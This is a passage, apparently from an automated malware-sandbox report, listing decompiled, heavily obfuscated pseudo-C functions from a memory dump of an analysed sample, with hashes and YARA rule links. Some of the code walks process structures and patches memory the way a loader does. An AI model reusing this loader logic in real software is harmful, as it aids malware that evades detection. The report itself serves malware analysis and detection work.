						_pop(_t102);
						_t133 = _t130;
						_v16 = _t65;
						_push(_v12 + (_t145 & 0x00000000 | _t130 & 0x00000000 ^ _v8));
						_t68 = _v16;
						_pop(_t148);
						while(1) {
							_t150 = _t102 | _t102;
							_t103 = _t150;
							_t151 = _t148;
							if(_t150 == 0) {
								goto L12;
							}
							_t117 = _t114;
							 *_t173 =  *_t173 ^ _t80;
							_push(_t133 & 0x00000000 | _t114 & 0x00000000 |  *_t68);
							_pop(_t81);
							_t133 = _t81 + _t151;
							_t83 = 0;
							_v16 = _v16 & 0x00000000;
							_push(_v16);
							 *_t173 =  *_t173 | _t103;
							_v16 = _t151;
							_t105 = _t103 & 0x00000000 | _t151 - _v16 ^  *(_t68 + 4);
							_t154 = _v16;
							_v16 = 0;
							_push(_v16);
							 *_t173 =  *_t173 + _t105;
							_t86 = _t83;
							_t107 = _t105 + 0xfffffff8 >> 1;
							_t68 = _t68 + 8;
							_t120 = _t117;
							while(1) {
								_t156 = _t107 | _t107;
								_t108 = _t156;
								_t154 = _t154;
								if(_t156 == 0) {
									break;
								}
								_v16 = 0;
								_push(_v16);
								 *_t173 =  *_t173 | _t108;
								 *_t173 = 0xf000;
								_t109 = _t133;
								_t111 = 0 ^  *_t173;
								_t173 =  &(_t173[1]);
								_t169 =  *_t68 & 0x0000ffff & _t109 |  *_t68 & 0x0000ffff & _t109;
								_t120 = _t169;
								_t170 = _t167;
								if(_t169 != 0) {
									_t120 =  *_t68 & 0xfff;
									_push(_v16);
									 *_t173 = _t68;
									_t154 = _t154;
									 *((intOrPtr*)(_t120 + _t133)) =  *((intOrPtr*)(_t120 + _t133)) + (_t68 & 0x00000000 | _t154 & 0x00000000 | _v12);
									_pop( *_t55);
									_t68 = _v16;
								}
								_t68 =  &_v2;
								_t167 = _t170;
								_t107 = _t111 - 1;
							}
							_t114 = _t120 & 0x00000000 ^  *_t173;
							_t173 =  &(_t173[1]);
							_pop( *_t57);
							_t102 = (_t108 & 0x00000000 ^ _v16) - _t114;
							_t80 = _t86;
						}
					} else {
					}
				} else {
				}
				L12:
				return _t68;
			}

0x031e2faf
0x031e2fb5
0x031e2fbc
0x031e2fbf
0x031e2fc2
0x031e2fc6
0x031e2fc9
0x031e2fcc
0x031e2fd3
0x031e2fd3
0x031e2fd6
0x031e2fd9
0x031e2fe3
0x031e2fe9
0x031e2feb
0x031e2fed
0x031e2fee
0x031e2ff7
0x031e2ffb
0x031e2fff
0x031e3001
0x031e3005
0x031e3008
0x031e300b
0x031e3012
0x031e3015
0x031e3016
0x031e301e
0x031e3022
0x031e3025
0x031e302e
0x031e3032
0x031e3037
0x031e3041
0x031e3043
0x031e3046
0x031e304d
0x031e304f
0x031e3051
0x031e3054
0x031e3055
0x031e3068
0x031e306e
0x031e3071
0x031e3074
0x031e3077
0x031e3078
0x031e3079
0x031e307e
0x031e3081
0x031e3084
0x031e3087
0x031e3088
0x031e3095
0x031e3096
0x031e309e
0x031e309f
0x031e30a2
0x031e318d
0x031e3190
0x031e3192
0x031e3194
0x031e3195
0x00000000
0x00000000
0x031e30b3
0x031e30b6
0x031e30b9
0x031e30ba
0x031e30bd
0x031e30bf
0x031e30c0
0x031e30c4
0x031e30c7
0x031e30ca
0x031e30d6
0x031e30d8
0x031e30db
0x031e30e2
0x031e30e5
0x031e30f3
0x031e30f4
0x031e30ff
0x031e3101
0x031e3163
0x031e3166
0x031e3168
0x031e316a
0x031e316b
0x00000000
0x00000000
0x031e3107
0x031e310e
0x031e3111
0x031e3115
0x031e311c
0x031e3121
0x031e3124
0x031e312a
0x031e312c
0x031e312e
0x031e312f
0x031e3134
0x031e313a
0x031e313d
0x031e314c
0x031e314d
0x031e3150
0x031e3153
0x031e3153
0x031e315f
0x031e3161
0x031e3162
0x031e3162
0x031e3173
0x031e3176
0x031e317f
0x031e318a
0x031e318c
0x031e318c
0x00000000
0x031e3057
0x00000000
0x031e2ff0
0x031e319b
0x031e31b0

Memory Dump Source

Source File: 00000005.00000002.230965320.00000000031E0000.00000040.00000001.sdmp, Offset: 031E0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1f32643c1a337532a551df5e7dd1d687da03bae7b11c336c53ee130eebd2aab
Instruction ID: 33287d8edb0bc2cc11cfa5941821ed09b04f3c6b203ed45d7c2791a46fbc773d
Opcode Fuzzy Hash: d1f32643c1a337532a551df5e7dd1d687da03bae7b11c336c53ee130eebd2aab
Instruction Fuzzy Hash: E8618337E04618AFEB049F99DC457ADFBB5EF48720F1581AEE594A3280DBB529008B90

Uniqueness

Uniqueness Score: -1.00%

Function 031E2A69, Relevance: .2, Instructions: 161
COMMONCrypto

Download Yara Rule

C-Code - Quality: 61%

			E031E2A69(signed int __eax, signed int __ebx, signed int __ecx, signed int __edx, signed int __edi, signed int __esi) {
				intOrPtr _v8;
				signed int _v12;
				signed int _v16;
				signed int _t52;
				signed int _t54;
				signed int _t56;
				intOrPtr _t63;
				signed int _t70;
				signed int _t75;
				signed int _t88;
				signed int _t91;
				signed int _t105;
				signed int _t109;
				signed int _t112;
				signed int _t125;
				void* _t129;
				signed int* _t140;

				_push(_v16);
				 *_t140 = __eax;
				_push(__edi);
				 *_t140 =  *_t140 ^ __edi;
				 *_t140 =  *_t140 ^ __ecx;
				_push(_v12);
				 *_t140 = __edx;
				_push(__ecx);
				 *_t140 =  *_t140 ^ __ecx;
				 *_t140 =  *_t140 + __edi;
				_push(__ecx);
				 *_t140 =  *_t140 - __ecx;
				 *_t140 = __esi;
				if( *((intOrPtr*)(__ebx + 0x41ce4a)) != 1) {
					_v16 = __edx;
					_t103 = 0 ^  *(__ebx + 0x41c3f9);
					_push(__esi);
					_pop(_t125);
					_v16 = _t125;
					_t105 =  *(__ebx + 0x41c166) +  *((intOrPtr*)((__eax & 0x00000000 | __esi & 0x00000000 ^  *((0 ^  *(__ebx + 0x41c3f9)) + 0x3c)) + _t103 + 0x28));
					 *_t17 = _t105;
					_push(_v8);
					_pop(_t88);
					_t107 = _t105 & 0x00000000 | _t88 & 0x00000000 ^  *(__ebx + 0x41c166);
					_t91 = _t88;
					 *_t140 = __ecx;
					_t70 = 0;
					_push(0);
					 *_t140 =  *_t140 ^ _v16;
					_push( *((intOrPtr*)((0 ^  *((_t105 & 0x00000000 | _t88 & 0x00000000 ^  *(__ebx + 0x41c166)) + 0x3c)) + _t107 + 0x28)));
					_pop(_t129);
					_t109 = _t129 +  *(__ebx + 0x41c166);
					_v12 = _t70;
					_t52 = 0 ^ _t109;
					 *_t140 = _t109;
					_t112 = 0;
					_push(__ebx);
					_t75 = _v12 & 0x00000000 ^ __ebx & 0x00000000 ^  *( *((intOrPtr*)((0 ^  *[fs:0x30]) + 0xc)) + 0xc);
					__eflags = _t75;
					_pop(_t63);
					while(1) {
						_t112 = _t112 & 0x00000000 ^ _t91 ^  *_t140 ^  *(_t75 + 0x1c);
						_t91 = _t91;
						__eflags = _t52 - _t112;
						if(_t52 == _t112) {
							break;
						}
						__eflags = _t91 - _t112;
						if(__eflags != 0) {
							_t75 =  *(_t75 + 4);
							if(__eflags != 0) {
								continue;
							} else {
								 *((intOrPtr*)(_t63 + 0x41ce4a)) = 1;
								_pop( *_t42);
								_pop( *_t44);
								_pop( *_t46);
								_t54 = _t52 & 0x00000000 ^ _t140[1];
								__eflags = _t54;
								return _t54;
							}
						} else {
							_pop( *_t36);
							_pop( *_t38);
							_t56 = _t52 & 0x00000000 |  *(_t140 - 0xfffffffc + 4);
							__eflags = _t56;
							return _t56;
						}
						goto L9;
					}
					_v8 = _t63;
					 *(_t75 + 0x1c) = _t91;
					_pop( *_t32);
					__eflags = 0 ^ _t140[2];
					_pop( *_t34);
					return _v8;
				} else {
					_pop( *_t4);
					_pop( *_t6);
					return  *((intOrPtr*)( &(_t140[1]) - 0xfffffffc));
				}
				L9:
			}

0x031e2a6f
0x031e2a72
0x031e2a75
0x031e2a76
0x031e2a79
0x031e2a7c
0x031e2a7f
0x031e2a82
0x031e2a83
0x031e2a86
0x031e2a89
0x031e2a8a
0x031e2a8d
0x031e2a97
0x031e2ac9
0x031e2ad4
0x031e2ad9
0x031e2ae5
0x031e2aea
0x031e2af9
0x031e2afb
0x031e2afe
0x031e2b01
0x031e2b0f
0x031e2b11
0x031e2b14
0x031e2b1e
0x031e2b23
0x031e2b25
0x031e2b28
0x031e2b29
0x031e2b30
0x031e2b33
0x031e2b3a
0x031e2b41
0x031e2b4f
0x031e2b53
0x031e2b5d
0x031e2b5d
0x031e2b5f
0x031e2b60
0x031e2b6a
0x031e2b6c
0x031e2b6d
0x031e2b6f
0x00000000
0x00000000
0x031e2bb4
0x031e2bb6
0x031e2bf2
0x031e2bf5
0x00000000
0x031e2bfb
0x031e2bfb
0x031e2c05
0x031e2c11
0x031e2c1d
0x031e2c35
0x031e2c35
0x031e2c3c
0x031e2c3c
0x031e2bb8
0x031e2bb8
0x031e2bc4
0x031e2be8
0x031e2be8
0x031e2bef
0x031e2bef
0x00000000
0x031e2bb6
0x031e2b71
0x031e2b78
0x031e2b9c
0x031e2ba4
0x031e2baa
0x031e2bb1
0x031e2a99
0x031e2a9f
0x031e2aaf
0x031e2ac6
0x031e2ac6
0x00000000

Memory Dump Source

Source File: 00000005.00000002.230965320.00000000031E0000.00000040.00000001.sdmp, Offset: 031E0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b63c40a153435aee46f1dbaa00f0c7709c3ef757da9a005839b873438a636a49
Instruction ID: ab66c763b746e5db5f54a2bf7b8bde2d930677cdc5971ea5790c6df09362b10b
Opcode Fuzzy Hash: b63c40a153435aee46f1dbaa00f0c7709c3ef757da9a005839b873438a636a49
Instruction Fuzzy Hash: A551CE73D04500EFEB04DF69D98279EBBB1FF84320F1A85A9C895A7284CB746611CB95

Uniqueness

Uniqueness Score: -1.00%

Function 031E150C, Relevance: .1, Instructions: 104
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E031E150C(signed int __eax, void* __ebx, signed int _a4, signed int _a8, signed int _a12) {
				signed int _v8;
				signed int _v12;
				signed int _t88;
				signed int _t95;
				void* _t97;
				signed int _t100;
				signed int _t101;
				void* _t106;
				signed int _t107;
				signed int _t112;
				signed int _t115;
				signed int _t116;
				signed int _t118;
				signed int _t124;
				signed int _t126;
				void* _t130;

				_t106 = __ebx;
				if(_t130 != _v12) {
					_t88 = __eax & 0x00000001;
					_t112 = _t112 & 0xffffffff;
				} else {
					_t88 = __eax ^ 0x1f4;
				}
				_a12 = _a12 - _t112;
				_a4 = _a4 & _t88;
				_a12 = 0xffffffff;
				_v12 = _v12 | _t107;
				_v12 = _v12 - 0xffffffff;
				 *(_t106 + 0x41d23c) =  *(_t106 + 0x41d23c) - 1;
				_v8 = _v8 - 1;
				_t115 = _t112 + 1 - 1 + 1;
				_v8 = _v8 | _t107 - 0x00000001;
				_t90 = _t88 - 0x51d + 0xffffffff;
				_a4 = _a4 ^ _t115;
				 *(_t106 + 0x41d23c) =  *(_t106 + 0x41d23c) & _t126;
				_v12 = _v12 - _t88 - 0x51d + 0xffffffff;
				 *(_t106 + 0x41d23c) =  *(_t106 + 0x41d23c) - 1;
				_t95 = E031E4A23(((_t90 | _a12) + 0x00000001 & 0x00000000) -  *(_t106 + 0x41d23c), _t106,  *((intOrPtr*)(_t106 + 0x41ce29)), ((_t90 | _a12) + 0x00000001 & 0x00000000) -  *(_t106 + 0x41d23c), _t126);
				_a4 = 0x458;
				 *(_t106 + 0x41d23c) = _t95;
				_a8 = _a8 ^ _t95;
				_t124 = _t115;
				 *(_t106 + 0x41d23c) = 0;
				 *(_t106 + 0x41d23c) =  *(_t106 + 0x41d23c) ^ 0x00000001;
				 *(_t106 + 0x41d23c) = 0x13a;
				_a8 = _a8 - 0x31f;
				 *(_t106 + 0x41d23c) = _t126;
				_a8 = _a8 + 1;
				_t116 = _t115 - 1;
				_t97 = E031E4A23(_t95 - 0x730, _t106, _t116,  *((intOrPtr*)(_t106 + 0x41c914)),  *((intOrPtr*)(_t106 + 0x41cea6)));
				 *(_t106 + 0x41d23c) =  *(_t106 + 0x41d23c) + _t97;
				 *(_t106 + 0x41d23c) =  *(_t106 + 0x41d23c) ^ _t116;
				 *(_t106 + 0x41d23c) =  *(_t106 + 0x41d23c) - 1;
				_t100 = (_t97 + 0x00000001 ^ 0x00000000) + 0xffffffff;
				_v12 = _v12 & _t100;
				_t101 = _t100 ^ 0x00000000;
				_v12 = _t101;
				_v12 = _v12 + _t124;
				_v8 = _v8 - 1;
				 *(_t106 + 0x41d23c) =  *(_t106 + 0x41d23c) + 1;
				_t118 = _t116 - _a8 - 0xffffffff;
				 *(_t106 + 0x41d23c) = _t118;
				 *(_t106 + 0x41d23c) =  *(_t106 + 0x41d23c) - (_t124 & 0x00000330);
				_v12 = _v12 & _t118;
				_a12 = _a12 | _t118;
				return (_t101 ^ 0x00000000) - 0x00000001 ^ 0x00000000;
			}

0x031e150c
0x031e151a
0x031e1528
0x031e152d
0x031e151c
0x031e1521
0x031e1521
0x031e1530
0x031e1533
0x031e1543
0x031e154b
0x031e1552
0x031e1559
0x031e1562
0x031e1565
0x031e156d
0x031e1570
0x031e1575
0x031e1578
0x031e157e
0x031e1581
0x031e15aa
0x031e15af
0x031e15b6
0x031e15bc
0x031e15c1
0x031e15c3
0x031e15c9
0x031e15d3
0x031e15dd
0x031e15e9
0x031e15f6
0x031e15f9
0x031e160c
0x031e1611
0x031e161c
0x031e1627
0x031e162d
0x031e1639
0x031e163c
0x031e1644
0x031e1647
0x031e1652
0x031e1655
0x031e165c
0x031e1668
0x031e166e
0x031e167f
0x031e1682
0x031e1690

Memory Dump Source

Source File: 00000005.00000002.230965320.00000000031E0000.00000040.00000001.sdmp, Offset: 031E0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd97c8a2378453d0f50524401d41f85624529e01a0f8e400ad16fc78b9557928
Instruction ID: 2789684d06debc091a65bf016844a71008437c70cf9def2dfcccff086e7c8b8e
Opcode Fuzzy Hash: cd97c8a2378453d0f50524401d41f85624529e01a0f8e400ad16fc78b9557928
Instruction Fuzzy Hash: 11413A72C11604ABEB04CF76CA857DA7BB1EF44330F24C3A9AC399A1D5C3398651AF59

Uniqueness

Uniqueness Score: -1.00%

Function 031E1967, Relevance: .1, Instructions: 101
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E031E1967(signed int __eax, void* __ebx, signed int _a4) {
				signed int _v8;
				signed int _t98;
				void* _t111;
				signed int _t116;
				void* _t117;
				signed int _t118;
				signed int _t119;
				void* _t121;
				signed int _t126;
				signed int _t128;
				signed int _t129;
				signed int _t130;

				_t117 = __ebx;
				_t98 = __eax;
				if(__ebx >= _a4) {
					_a4 = _a4 & _t128;
					_a4 = _a4 + 0xffffffff;
				} else {
					_t128 = (_t128 + 0xffffffff & 0x000006b0) + 1;
				}
				 *(_t117 + 0x41c345) =  *(_t117 + 0x41c345) ^ 0x000003e3;
				_t129 = _t128 & 0x00000000;
				 *(_t117 + 0x41c598) =  *(_t117 + 0x41c598) ^ _t98;
				if( *(_t117 + 0x41c345) < 0x34d9) {
					_a4 = _a4 & 0xffffffff;
					_t98 = _t98 + 1;
				} else {
					 *(_t117 + 0x41c345) =  *(_t117 + 0x41c345) ^ _t129;
					 *(_t117 + 0x41c345) = 0x295;
					_v8 = _v8 + 1;
				}
				_t119 = _t118 &  *(_t117 + 0x41c345);
				 *(_t117 + 0x41c598) =  *(_t117 + 0x41c598) | _t129;
				_a4 = _a4 + _t129;
				_v8 = 0xffffffff;
				_t130 = _t129 + _v8;
				_a4 = _a4 | 0xfffff88b;
				_v8 = _v8 - 1;
				_v8 = _v8 + 1;
				_v8 = _v8 + 1;
				_v8 = _v8 | _t130;
				 *(_t117 + 0x41c598) = _t121 - _t119;
				 *(_t117 + 0x41c598) =  *(_t117 + 0x41c598) & 0xffffffff;
				_v8 = _t119;
				_a4 = _a4 ^ 0x0000033f;
				_a4 = _a4 ^ _t119;
				_a4 = _a4 & _t126;
				_a4 = 0xfffffbb6;
				_v8 = _v8 | _t119;
				_v8 = _v8 - 1;
				 *(_t117 + 0x41c598) =  *(_t117 + 0x41c598) | _t126;
				_a4 = _a4 + 0xffffffff;
				_a4 = _a4 - 1;
				_a4 = _a4 - 1;
				_a4 = _a4 ^ 0x00000001;
				_a4 = _a4 & _t130;
				_t111 = E031E1693((((_t98 - 0x00000001 + 0xffffffff - 0x0000031a ^ 0x2b0) + 0x00000409 ^ 0 | 0xffffffff) + 0xfffff86b ^ 0x00000000) + 1, _t117,  *((intOrPtr*)(_t117 + 0x41c6d0)),  *((intOrPtr*)(_t117 + 0x41c3f5)));
				 *(_t117 + 0x41c598) = 0x6a4;
				_t116 = (_t111 - 0x00000001 + 0x0000030f ^ 0xfffffffffffffffe) & 0x00000001;
				_a4 = _t116;
				_a4 = _a4 - 1;
				_v8 = _v8 - 0xffffffff;
				return _t116;
			}

0x031e1967
0x031e1967
0x031e1975
0x031e1985
0x031e1988
0x031e1977
0x031e1980
0x031e1980
0x031e198c
0x031e1996
0x031e1999
0x031e19a9
0x031e19c0
0x031e19c4
0x031e19ab
0x031e19ab
0x031e19b1
0x031e19bb
0x031e19bb
0x031e19c5
0x031e19cb
0x031e19d1
0x031e19d9
0x031e19e0
0x031e19f4
0x031e19fb
0x031e19fe
0x031e1a03
0x031e1a07
0x031e1a0a
0x031e1a16
0x031e1a1d
0x031e1a25
0x031e1a3c
0x031e1a4e
0x031e1a54
0x031e1a60
0x031e1a6d
0x031e1a70
0x031e1a76
0x031e1a7a
0x031e1a84
0x031e1a87
0x031e1a8b
0x031e1a9a
0x031e1abc
0x031e1af5
0x031e1afa
0x031e1b02
0x031e1b05
0x031e1b1b

Memory Dump Source

Source File: 00000005.00000002.230965320.00000000031E0000.00000040.00000001.sdmp, Offset: 031E0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d496aaf9737dd9040203ca25982ef00af11931fa603b3a3eaa8287a0f772126f
Instruction ID: 07910803d51ab6957e28f8f45221bc5824ef64bfe79ef948f771337be7594806
Opcode Fuzzy Hash: d496aaf9737dd9040203ca25982ef00af11931fa603b3a3eaa8287a0f772126f
Instruction Fuzzy Hash: 2C416D72C10618EBEB04CF68C9CA7CA3B70EF04330F2883A9AC799D1D6C33956519A94

Uniqueness

Uniqueness Score: -1.00%

Function 031E88BA, Relevance: .1, Instructions: 95
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E031E88BA(void* __eax, void* __ebx, signed int _a4, signed int _a8, signed int _a12) {
				signed int _v8;
				signed int _v12;
				void* _t56;
				signed int _t57;
				signed int _t58;
				signed int _t59;
				void* _t77;
				void* _t83;
				signed int _t84;
				void* _t89;
				void* _t96;
				signed int _t100;
				void* _t102;

				_t77 = __ebx;
				_t56 = __eax;
				if(_a4 > 0x9b86) {
					_t83 = _t83 - 1;
					_t89 = _t89 + 0xffffffff;
				}
				_t57 = _t56 + 0xffffffff;
				_t78 = 0xffffffff;
				if(_t83 > _a8) {
					 *(_t77 + 0x41c619) =  *(_t77 + 0x41c619) & 0xffffffff;
				} else {
					_t78 = 0;
					_t57 = _t57 ^ 0x00000000;
				}
				_t58 = _t57 & 0x00000001;
				_a12 = 1;
				_t84 = _t83 + 1;
				 *(_t77 + 0x41c619) =  *(_t77 + 0x41c619) | _t58;
				_t59 = _t58 ^ _t96 + 0xfffffa6c;
				if(_t102 < _t89) {
					 *(_t77 + 0x41c619) = 1;
					_t78 = _v12;
				} else {
					_a8 = _a8 + _t78;
					_t59 = _t59 ^ 0xffffffff;
				}
				_v12 = _v12 + 1;
				_v8 = _v8 & 0x00000000;
				_v12 = _v12 + 0xffffffff;
				_a12 = _a12 + 0xffffff46;
				_v8 = _v8 - 1;
				_v8 = _v8 + 0xfffffad4;
				_a4 = _a4 | _t84;
				_a12 = _a12 + 1;
				_t100 = _a12;
				_v8 = _v8 ^ _t100;
				_v12 = 0xfffffcfa;
				_v12 = _v12 ^ 0xffffffff;
				_a4 = _t100;
				_v8 = _v8 - 0xfffffe99;
				_v12 = _v12 & _t78;
				_a8 = _a8 + 1;
				_a8 = _a8 | 0x00000001;
				return 1;
			}

0x031e88ba
0x031e88ba
0x031e88cc
0x031e88ce
0x031e88cf
0x031e88cf
0x031e88de
0x031e88e3
0x031e88eb
0x031e88f5
0x031e88ed
0x031e88ed
0x031e88ee
0x031e88ee
0x031e88fb
0x031e8904
0x031e890b
0x031e890c
0x031e8912
0x031e8916
0x031e8923
0x031e892d
0x031e8918
0x031e8918
0x031e891b
0x031e891b
0x031e8930
0x031e8933
0x031e8941
0x031e8948
0x031e8954
0x031e895c
0x031e8968
0x031e8978
0x031e897b
0x031e8984
0x031e898f
0x031e899a
0x031e89aa
0x031e89c0
0x031e89c5
0x031e89d0
0x031e89da
0x031e89f3

Memory Dump Source

Source File: 00000005.00000002.230965320.00000000031E0000.00000040.00000001.sdmp, Offset: 031E0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9408914b7e626d52f05bbd282e7e988d0072ea341ec3d82d84db4da1002100f3
Instruction ID: 7bef803f3399ebf1bde40d3673bee23c323d650fa40f56f10d6ed4309c9aafee
Opcode Fuzzy Hash: 9408914b7e626d52f05bbd282e7e988d0072ea341ec3d82d84db4da1002100f3
Instruction Fuzzy Hash: B8319C72920A049BEB08CE78CD853DE7761FF84339F24C35AEC359A1D1D77986518B48

Uniqueness

Uniqueness Score: -1.00%

Function 031E27D4, Relevance: .1, Instructions: 93
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E031E27D4(signed int __eax, void* __ebx, signed int _a4, signed int _a8) {
				signed int _v8;
				void* _t62;
				signed int _t64;
				signed int _t65;
				signed int _t76;
				void* _t78;
				signed int _t79;
				void* _t84;
				signed int _t90;
				signed int _t91;
				signed int _t92;
				signed int _t95;

				_t78 = __ebx;
				_t60 = __eax;
				if(_v8 >= 0x74b6) {
					_t60 = (__eax ^ _a4) + 1;
				} else {
					_t79 = _t79 + _t90;
				}
				 *(_t78 + 0x41c908) =  *(_t78 + 0x41c908) - _t79;
				_t62 = E031E92B2(_t60, _t78,  *((intOrPtr*)(_t78 + 0x41c5d8)),  *((intOrPtr*)(_t78 + 0x41d186)));
				_v8 = _v8 + 1;
				_t64 = _t62 + 1 - 0xffffffff;
				if(_a4 < 0xae5c) {
					_t95 =  *(_t78 + 0x41c908);
				} else {
					_t90 = _t90 ^ 0x00000000;
					_t64 = _t64 & 0x00000000;
				}
				_v8 = _v8 & 0xffffffff;
				_t91 = _t90 - 1;
				_t65 = _t64 + 0xfffffea2;
				_a4 = _a4 ^ _t91;
				_a8 = 1;
				if(_t79 <= _v8) {
					_t65 = _t65 - 1;
					_v8 = _v8 ^ 0x0000029c;
					_t79 = _t79 | _a8;
				} else {
					_v8 = _v8 - 1;
					_t95 = _t95 & _a4;
					_a4 = _a4 + 1;
				}
				_t92 = _t91 & 0xfffff9dc;
				_a4 = _a4 + _t92;
				_a4 = _a4 - 1;
				_v8 = _v8 & 0x00000000;
				_a8 = _a8 - 1;
				_a8 = _a8 & 0x00000001;
				_t76 = ((((_t65 ^ 0xfffff825) + 0x00000001 & 0) - 0x00000001 & 0xfffffaf6 ^ 0x00000000) & 0) + 0x566;
				 *(_t78 + 0x41c908) =  *(_t78 + 0x41c908) | _t84 -  *(_t78 + 0x41c908) + 0xffffffff;
				_v8 = _v8 ^ 0x00000001;
				 *(_t78 + 0x41c908) =  *(_t78 + 0x41c908) - 1;
				_a8 = _a8 - 1;
				 *(_t78 + 0x41c908) =  *(_t78 + 0x41c908) & (_t95 - 0x00000001 ^ 0x00000000 ^ _t92 ^ 0x00000005 ^ _t76);
				 *(_t78 + 0x41c908) =  *(_t78 + 0x41c908) - _t92 + 1 - 0x7fa;
				return _t76 & 0x000005b0;
			}

0x031e27d4
0x031e27d4
0x031e27e6
0x031e27f3
0x031e27e8
0x031e27e8
0x031e27e8
0x031e27f8
0x031e280a
0x031e2814
0x031e2818
0x031e2824
0x031e2839
0x031e2826
0x031e2826
0x031e2829
0x031e2829
0x031e283f
0x031e2843
0x031e2844
0x031e2849
0x031e284c
0x031e2856
0x031e2863
0x031e2868
0x031e286f
0x031e2858
0x031e2858
0x031e285b
0x031e285e
0x031e285e
0x031e287d
0x031e28a0
0x031e28a3
0x031e28a6
0x031e28ad
0x031e28bf
0x031e28e3
0x031e28ed
0x031e28fd
0x031e290a
0x031e2911
0x031e2917
0x031e291d
0x031e2929

Memory Dump Source

Source File: 00000005.00000002.230965320.00000000031E0000.00000040.00000001.sdmp, Offset: 031E0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60262cc59c0515fe76608e882f2625138d0fbd792c4745c0f20dbd6a2c004b33
Instruction ID: 58ecd64e7fa742ff37a3069afe7ff72cb0064b9f0e078770346d79fcc938eb93
Opcode Fuzzy Hash: 60262cc59c0515fe76608e882f2625138d0fbd792c4745c0f20dbd6a2c004b33
Instruction Fuzzy Hash: D8319173920A08AFEB04CF38CD967DA3B74EF50335F29C365AC298E0D5D37996909A54

Uniqueness

Uniqueness Score: -1.00%

Function 031E13C5, Relevance: .1, Instructions: 90
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E031E13C5(signed int __eax, void* __ebx, intOrPtr _a4, signed int _a8, signed int _a12) {
				signed int _v8;
				signed int _v12;
				signed int _t69;
				void* _t71;
				signed int _t89;
				void* _t93;
				signed int _t94;
				intOrPtr _t98;
				signed int _t103;
				signed int _t108;
				signed int _t109;
				signed int _t111;

				_t93 = __ebx;
				_t69 = __eax;
				if(__eax == 0xa709) {
					_t94 = _t94 | 0xffffffff;
				} else {
					 *(__ebx + 0x41ca6d) =  *(__ebx + 0x41ca6d) & _t108;
				}
				_t109 = _t108 +  *((intOrPtr*)(_t93 + 0x41c507));
				_a8 = _a8 - _t109;
				_v12 = _v12 & _t109;
				_v12 = _v12 - 1;
				_t71 = E031E9159(_t69 & 0x00000001, _t93,  *((intOrPtr*)(_t93 + 0x41d0c3)));
				 *((intOrPtr*)(_t93 + 0x41ca6d)) = 0x417;
				 *((intOrPtr*)(_t93 + 0x41c507)) = _t98;
				_a8 = _a8 ^ _t103;
				 *((intOrPtr*)(_t93 + 0x41c507)) =  *((intOrPtr*)(_t93 + 0x41c507)) - 0x2a9;
				_t111 = _v8;
				_v8 = ((_t71 + _a8 + _t103 ^ 0xffffffff) - _v12 - 0xfffffffffffffeb4 - _v8 - 0xffffffff + 0x00000001 ^ 0x000004b9) - 0x00000001 ^ 0;
				_a12 = _a12 ^ 0xffffffff;
				_a4 = _a4 + 0xffffffff;
				_v12 = _v12 | _t111;
				 *((intOrPtr*)(_t93 + 0x41ca6d)) =  *((intOrPtr*)(_t93 + 0x41ca6d)) + _t111;
				_v12 = _v12 | _t111;
				_t89 = E031E292C((((_t71 + _a8 + _t103 ^ 0xffffffff) - _v12 - 0xfffffffffffffeb4 - _v8 - 0xffffffff + 0x00000001 ^ 0x000004b9) - 0x00000001 ^ 0) - 1, _t93,  *((intOrPtr*)(_t93 + 0x41cf4b)),  *((intOrPtr*)(_t93 + 0x41ce86)), _t103 - 1 + 1);
				 *((intOrPtr*)(_t93 + 0x41ca6d)) = 0xffffffff;
				_v8 = _v8 - 0xffffffff;
				_v8 = _v8 - 1;
				_a8 = _a8 - 1;
				return (_t89 ^ 0xfffffffffffffe25) - 1;
			}

0x031e13c5
0x031e13c5
0x031e13d5
0x031e13df
0x031e13d7
0x031e13d7
0x031e13d7
0x031e13e5
0x031e13f0
0x031e13f3
0x031e13f9
0x031e1404
0x031e140f
0x031e141b
0x031e142a
0x031e1452
0x031e147b
0x031e147e
0x031e148d
0x031e1491
0x031e1495
0x031e14af
0x031e14b9
0x031e14ce
0x031e14d3
0x031e14ec
0x031e14f8
0x031e14fd
0x031e1509

Memory Dump Source

Source File: 00000005.00000002.230965320.00000000031E0000.00000040.00000001.sdmp, Offset: 031E0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7955dea17897fe3643e446ce251d4f90cae95f15a659bd5de779e5c9b3669b3
Instruction ID: 91195f226537aa3247d20be998e71ebe6a126f296b2b06f7d068b8595ed9ca94
Opcode Fuzzy Hash: f7955dea17897fe3643e446ce251d4f90cae95f15a659bd5de779e5c9b3669b3
Instruction Fuzzy Hash: 0031CB72C00629ABEB04CF39CC8978A7B31EF40770F14C36AAC28994D9C7758660DAA4

Uniqueness

Uniqueness Score: -1.00%

Function 031E2566, Relevance: .1, Instructions: 84
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E031E2566(signed int __eax, void* __ebx, signed int _a4) {
				signed int _v8;
				signed int _v12;
				signed int _t55;
				signed int _t60;
				signed int _t73;
				void* _t80;
				signed int _t81;
				void* _t93;

				_t80 = __ebx;
				_t55 = __eax;
				if(__ebx >= _t93) {
					_a4 = _a4 - 1;
				}
				_a4 = _a4 & 0x00000001;
				_v12 = _v12 - 1;
				_a4 = _a4 - 1;
				_t60 = ((_t55 ^ 0xffffffff) & 0) + 1;
				_v8 = _v8 + 0x40b;
				_v8 = _v8 ^ _t60;
				 *(_t80 + 0x41c9d8) =  *(_t80 + 0x41c9d8) ^ 0xffffffff;
				_v12 = _v12 & 0x00000000;
				 *(_t80 + 0x41c003) = 1;
				_a4 = _a4 ^ ((_t60 - 0x00000001 + _t60 - 0x00000001 + 0x00000001 & 0x00000000) - 0xffffffff & 0xfffffbfb ^ 0xffffffff) + 0x574;
